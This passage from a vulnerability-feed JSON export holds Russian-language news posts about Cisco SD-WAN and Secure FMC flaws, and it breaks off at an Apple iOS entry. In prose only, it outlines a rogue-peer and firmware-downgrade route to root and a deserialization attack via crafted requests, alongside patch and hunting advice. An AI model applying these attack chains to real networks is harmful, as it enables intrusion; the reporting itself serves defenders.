\u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 Cisco Catalyst SD-WAN \u043f\u043e\u0434 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e\u0441\u044f root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u0443 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a NETCONF, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0435\u043c\u0443 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438.\n\n\u0414\u043e\u0431\u0430\u0432\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0443\u0437\u0435\u043b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432 \u0441\u0440\u0435\u0434\u0443 SD-WAN \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c. \u0417\u0430\u0442\u0435\u043c \u043e\u043d\u043e \u0441\u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u0441\u0435\u0442\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0433\u043b\u0443\u0431\u0436\u0435 \u0432 \u0441\u0435\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Cisco Talos\u00a0\u0441\u043e\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a UAT-8616, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0438\u0445 \u043e\u0446\u0435\u043d\u043a\u0430\u043c, \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0432 2023 \u0433\u043e\u0434\u0443. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u0440\u0430\u0432\u0430 root, \u043e\u0442\u043a\u0430\u0442\u0438\u0432 \u041f\u041e \u0434\u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-20775\u00a0\u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0432\u0435\u0440\u043d\u0443\u0432\u0448\u0438\u0441\u044c \u043a \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f, \u0438\u0437\u0431\u0435\u0436\u0430\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 Cisco \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 \u0443\u043f\u043e\u043b\u043d\u043e\u043c\u043e\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 (\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f CISA \u0438 NCSC).\n\n\u0412 \u0438\u0445 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u043c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0442 Cisco Catalyst SD-WAN \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0437\u043b\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\n\n\u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f SD-WAN \u043d\u0438 \u0432 \u043a\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0438 \u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u043e\u0432\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0430\u043c\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u043d\u0435 \u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\nCisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041f\u041e \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u044f\u0432\u043b\u044f\u044f \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443.", "creation_timestamp": "2026-02-26T12:00:07.000000Z"}, {"uuid": "b12f4a70-ad44-49d7-aa54-208ed9f0c7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/true_secator/7967", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 Secure Firewall Management Center (FMC).\n\nSecure FMC -\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u044d\u043a\u0440\u0430\u043d\u0430\u043c\u0438 Cisco \u0438 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-20079) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f CVE-2026-20131 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 Java \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u043d\u0430 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u041f\u043e \u0447\u0430\u0441\u0442\u0438 CVE-2026-20079 \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 root-\u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Java-\u043e\u0431\u044a\u0435\u043a\u0442 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Cisco Secure FMC, \u043d\u043e CVE-2026-20131 \u0442\u0430\u043a\u0436\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u0438 \u043d\u0430 Cisco Security Cloud Control (SCC) Firewall Management, \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u043f\u0440\u043e\u0449\u0430\u044e\u0449\u0438\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438 \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u0430\u0445 Cisco \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 Cisco PSIRT \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0440\u0430\u0432\u043d\u043e \u043a\u0430\u043a \u0438 \u043d\u0435 \u044f\u0441\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u0438 PoC \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435. \u041d\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u043a\u0430\u0436\u0435\u0442.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c Cisco \u0442\u0430\u043a\u0436\u0435\u00a0\u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 15 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Secure FMC, Secure Firewall Adaptive Security Appliance \u0438 Secure Firewall Threat Defense.", "creation_timestamp": "2026-03-05T13:00:08.000000Z"}, {"uuid": "e06b67de-b0db-4606-8d3c-68a0329e41cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/itsec_news/5933", "content": "Apple \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 iOS: 